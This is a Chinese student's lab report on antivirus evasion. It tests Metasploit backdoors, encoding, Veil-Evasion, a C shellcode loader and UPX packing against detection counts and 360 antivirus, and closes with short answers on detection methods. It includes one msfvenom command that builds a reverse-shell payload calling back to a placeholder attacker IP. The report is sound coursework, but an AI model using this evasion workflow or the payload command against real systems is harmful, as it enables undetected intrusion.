Exp3 免杀原理与实践
使用msf生成后门程序的检测
将上周msf生成的后门文件放在virscan.org中进行扫描
- 结果很危险
使用msf编码一次进行扫描
使用msf编码10次进行扫描
结果同样很危险，所以单纯改变编码次数并不能免杀。
使用veil-evasion生成
下载安装完成veil－evasion
设置生成免杀文件
生成成功
- 开启监听
回连成功
av测试警告，只剩5个了很不错
使用shellcode编写程序
- 这个步骤我做了好多次，因为虚拟机ip总在变化，变化一次就要重新生成一次shellcode数组，所以以下截图中ip不同常在。
首先执行命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c 生成shellcode数组。
根据这个shellcode数组写出c程序，然后编译c程序生成可在64位windows执行的程序。
将这个可执行的程序拷到windows中。然后在win中运行，kali中监听。但是不好使。
只能在win中下载vs，然后用vs编译生成那个shellcode程序。
生成好了文件，在kali下设置监听
运行文件，获得回连
av查杀警告5个，也不错
特意看了一下360，没有用hahaha
给shellcode加壳
使用upx命令加壳
将加壳程序拷到win中，然后跟之前一样，监听，运行加壳程序。回连成功。
av查杀警告7个，这壳白加了，要是想用它搞事情就不能用这个了。
但是看了一下360，还是没查出来。
由于都是用虚拟机做的，之前的win上没有安装杀毒软件，然后安装杀毒软件，重新做了次回连。
又用360扫描了一下，只有之前没做免杀的后门被扫了出来
基础问题回答
- 杀软是如何检测出恶意代码的？
基于特征码的检测、启发式恶意软件检测、基于行为的恶意软件检测；网上答案跟老师讲的差不多
- 免杀是做什么？
- 不让杀毒软件查出来。
- 免杀的基本方法有哪些？
改变特征码、改变行为；参考免杀百度百科“免杀”（跟老师讲的差不多）